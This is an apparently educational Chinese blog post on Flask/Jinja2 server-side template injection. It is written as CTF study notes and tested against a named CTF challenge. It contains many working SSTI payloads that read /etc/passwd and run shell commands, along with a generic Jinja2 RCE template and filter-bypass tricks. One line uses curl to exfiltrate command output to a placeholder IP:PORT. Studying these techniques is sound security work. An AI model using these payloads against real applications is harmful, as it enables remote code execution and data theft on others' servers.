欠下的债,现在来还了

下文中的部分引用将不再依次注明来源,文章首部给出所有参考链接,感谢这些师傅们的姿势分享

因个人能力水平有限,理解问题不是很深刻,只是想记录一些东西下来方便以后学习,还请各位师傅不吝赐教

参考文章:


关于 SSTI:

​SSTI(服务端模板注入),注入类安全问题的基本原理(成因)是一样的:当用户的输入没有得到合理的处理时,输入的数据有可能会变成程序的一部分,从而改变了程序的执行逻辑

既然是基于服务端模板的注入,服务端模版引擎将用户的输入直接渲染进模版,而未做过滤或者对象关系映射 (ORM)

攻击者可以控制渲染进模版的内容,通过直接输入模版渲染的关键词例如 {{ }},即可将恶意代码注入模版中执行,最严重的后果是 getshell

见到最多的应该是下面这张图:

具体的服务端模板如下图所示:

那么 Flask 是什么呢

在其官方文档中不难知道,Flask 是由 Python 实现的一个 Web 微框架,让我们可以使用 Python 语言快速实现一个网站或 Web 服务

就像这样:

from flask import Flask
app = Flask(__name__) #创建 flask 类的实例

@app.route('/') #指定路由
def hello_world():
    return 'Hello, World!'

其他的像是 HTTP 方法,这种在 Web 题目里就见的很多了:

from flask import request

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        return do_the_login()
    else:
        return show_the_login_form()

重点关注一下模板渲染部分:Flask 默认使用 Jinja2,而且在官方文档中也做出了如下说明

这是 Jinja2:

为了达到渲染的目的,我们需要在同文件夹下创建 /templates,并写入模板文件 hello.html

<!doctype html>
<title>Hello from Flask</title>
{% if name %} #{% 控制结构 %}
  <h1>Hello {{ name }}!</h1> #{{ 变量取值 }}
{% else %}
  <h1>Hello, World!</h1>
{% endif %}

最终的结构是这样的

/application
     /__init__.py
     /templates
         /hello.html

与此同时再关注一下 render_template() 方法

看样子好像并没有什么问题,但是如果 render_template() 函数在渲染模板的时候使用了 %s 来动态的替换字符串,Jinja2 在渲染的时候就会把 {{ }} 包裹的内容当做变量解析替换,此时 {{7*7}} 就会被解析成 49

这就是 Flask/Jinja2 SSTI 的成因

参考了一下 bfengj 师傅的博客,学到了不少东西,直接搬运了

__class__            类的一个内置属性,表示实例对象的类。
__base__             类型对象的直接基类
__bases__            类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__              此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
__subclasses__()     返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__             初始化类,返回的类型是function
__globals__          使用方式是 函数名.__globals__获取function所处空间下可使用的 module、方法以及所有变量。
__dict__              类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的 __dict__ 里
__getattribute__()   实例、类、函数都具有的 __getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用 __getattribute__ 方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__()        调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__         内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__ 与 __builtin__ 的区别就不放了,百度都有。
__import__           动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__()            返回描写这个对象的字符串,可以理解成就是打印出来。
url_for              flask的一个方法,可以用于得到 __builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到 __builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum               flask的一个方法,可以用于得到 __builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app          应用上下文,一个全局变量。
request              可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()

 request.args.x1        get传参
 request.values.x1      所有参数
 request.cookies      cookies参数
 request.headers      请求头参数
 request.form.x1        post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
 request.data           post传参 (Content-Type:a/b)
 request.json         post传json  (Content-Type: application/json)
 config               当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}

具体的流程大致如下:

获取基类 -> 获取所有继承自object的类与权限配置文件类 -> 寻找可利用类的位置 -> 利用调用执行命令

用于读取配置文件:

  • config
  • self.__dict__
  • lipsum.__globals__['current_app']
  • url_for.__globals__['current_app']
  • get_flashed_messages.__globals__['current_app']
  • request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app']

在 Python 中,可以用来执行系统命令的方式有如下几种:

  • os.system('command') 不返回执行输出,所以如果需要,可以用来反弹 shell 或是外带
  • os.popen(command[,mode[,bufsize]]) 返回执行结果
  • subprocess.Popen(command, shell=True, stdout=, stderr=) shell 的取值之前在题目中的 payload 已经解释过了
  • commands.getoutput(command)/commands.getstatusoutput(command)

除此之外,在 yulige 师傅的博客里还看到了其他的可利用模块:

  • timeit 模块 timeit 函数: timeit.timeit("__import__('os').system('dir')",number=1)
  • platform 模块: print platform.popen('dir').read()
  • types 模块 FileType 函数: types.FileType("/flag").read()
  • f 修饰符(Python >= 3.6.0): f'{__import__("os").system("dir")}'
  • linecache 模块:自带 os ,可命令执行;[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12]

当有模块被砍掉时,可以用以下方法载入:

  • Py2 reload() 重载:reload(__builtins__)
  • execfile() 读文件:execfile(filename[, globals[, locals]]) execfile('/usr/lib/python2.7/os.py')

Python2 中见到最多的 payload:

"".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()

构造流程如下:

 # 获得一个字符串实例 
>>> "" '' 

# 获得字符串的type实例 
>>> "".__class__
  <type 'str'> 

# 获得其父类 
>>> "".__class__.__mro__
 (<type 'str'>, <type 'basestring'>, <type 'object'>) 

# 获得父类中的object类 
>>> "".__class__.__mro__[2]
  <type 'object'> 

# 获得object类的子类,但发现这个__subclasses__属性是个方法 
>>> "".__class__.__mro__[2].__subclasses__
 <built-in method __subclasses__ of type object at 0x10376d320> 

# 使用__subclasses__()方法,获得object类的子类 
>>> "".__class__.__mro__[2].__subclasses__()
  [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>] 

# 获得第40个子类的一个实例,即一个file实例 
>>> "".__class__.__mro__[2].__subclasses__()[40]
  <type 'file'> 

# 对file初始化 
>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd")
 <open file '/etc/passwd', mode 'r' at 0x10397a8a0> 

# 使用file的read属性读取,但发现是个方法 
>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read
 <built-in method read of file object at 0x10397a5d0> 

# 使用read()方法读取 
>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() 
 

由于 Python2 和 Python3 的差异性,我们会见到基于不同版本和适用于不同题目环境的 payload,为了更好地学习 SSTI 的 payload 原理与构造,借用之前 [BJDCTF_2nd]fake google 题目进行测试


看到参数后直接测试,发现可以执行,存在 SSTI

①得到 object 类:

?name={{''.__class__.__mro__[1]}}

获取基类的方法还有很多,无非是要找到 <class 'object'> 然后调用 __subclasses__() 函数,因为 object 是父类的顶端,也即是用 __base__ 到顶,所以还有其他方法

__mro__ 会显示出整个继承链的关系,是一个列表,object在最底层故在列表中的最后,所以通过 __mro__[-1] 可以获取到 
{{''.__class__.__mro__[-1]}}

__bases__ 和 __base__ 还是有区别的
{{''.__class__.__bases__[1]}}
{{''.__class__.__base__.__base__.n[__base__]}}

②寻找可以利用的子类:

先找与 os 模块相关的,在 117 发现

③初始化并在 function 下获取可以使用的函数(方法)

由于基本上没什么过滤,所以可用的 function 有很多,这里只列两个最常用的

1.eval

#?name={{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls /').read()")}}

#?name={{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__.__builtins__.eval("__import__('os').popen('ls /').read()")}}

2.__import__

#?name={{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__.__builtins__.__import__('os').popen('ls /').read()}}

#?name={{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}

除了上面的两类 payload,我们还可以进一步发掘其他的 payload

由于是 Python3 的题目环境,所以事实上我们只需要 ''.__class__.__mro__[1].__subclasses__()[x].__init__.__globals__.__builtins__ 中含有 __import__ 或是 eval 或是open 都可以

写个脚本跑一下就会发现有很多,无论是常用的还是不常用的

...
_frozen_importlib._ModuleLock
_frozen_importlib._DummyModuleLock
_frozen_importlib.BuiltinImporter
codecs.IncrementalEncoder
...

当然如果是基于 Python2 的还有很多

...
warnings.catch_warnings
warnings.WarningMessage
_weakrefset._IterationGuard
site._Printer
site.Quitter
...

最后考虑黑名单的情况:

1. config 过滤 => {{self.__dict__}}

2. [] 过滤 => __getitem__() 获取 object 类 / pop() 获取子类

3. 引号过滤 => 
① request.args.xrequest.values 绕过
# {{[].__class__.__mro__[1].__subclasses__()[177].__init__.__globals__.__builtins__[request.args.a](request.args.b)(request.args.c).popen(request.args.d).read()}}&a=eval&b=__import__&c=os&d=ls
② 先获取 chr 函数,赋值给 chr,后面拼接字符串
# {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}

4. _ 过滤 =>
① 十六进制编码绕过 # __class__ => \x5f\x5fclass\x5f\x5fdir(0)[0][0] 绕过
③ request.argsrequest.values 绕过

5. . 过滤 => |attr() 绕过 ""|attr("__class__")

6. {{ 过滤 => 使用 {% 绕过,{% code %},code 即为含有 if 语句的代码,可用于盲注入或是外带
# {% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://IP:PORT/?i=whoami').read()=='p' %}1{% endif %}
# Jinja2 通用 RCE:{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('<command>').read()") }}{% endif %}{% endfor %}

7. 关键字过滤 =>
① + 拼接绕过 => {{''['__cla'+'ss__']}} / {{''['__cla''ss__']}}
② 反转绕过 => 这个只测试出了在 __getattribute__ 下可行:"".__getattribute__("__ssalc__"[::-1])
③ 格式化字符串 ascii 转换 => ""['{0:c}'['format'](95)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](99)%2b'{0:c}'['format'](108)%2b'{0:c}'['format'](97)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](95)]
④ ~ 拼接绕过 => {%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}
⑤ request + join 绕过 => {{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
⑥ request + format 绕过 => {{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
⑦ join 绕过 => ""[['__clas','s__']|join]
⑧ 大小写转换 => ""["__CLASS__".lower()]
⑨ 过滤器 => 
a.replace => []["__claee__"|replace("ee","ss")]
b.reverse => []["__ssalc__"|reverse]
c.string => (().__class__|string)[0]
d.select => {{(()|select|string|list)}} 
⑩ __enter__ 绕过

0 条评论

发表评论

邮箱地址不会被公开。 必填项已用*标注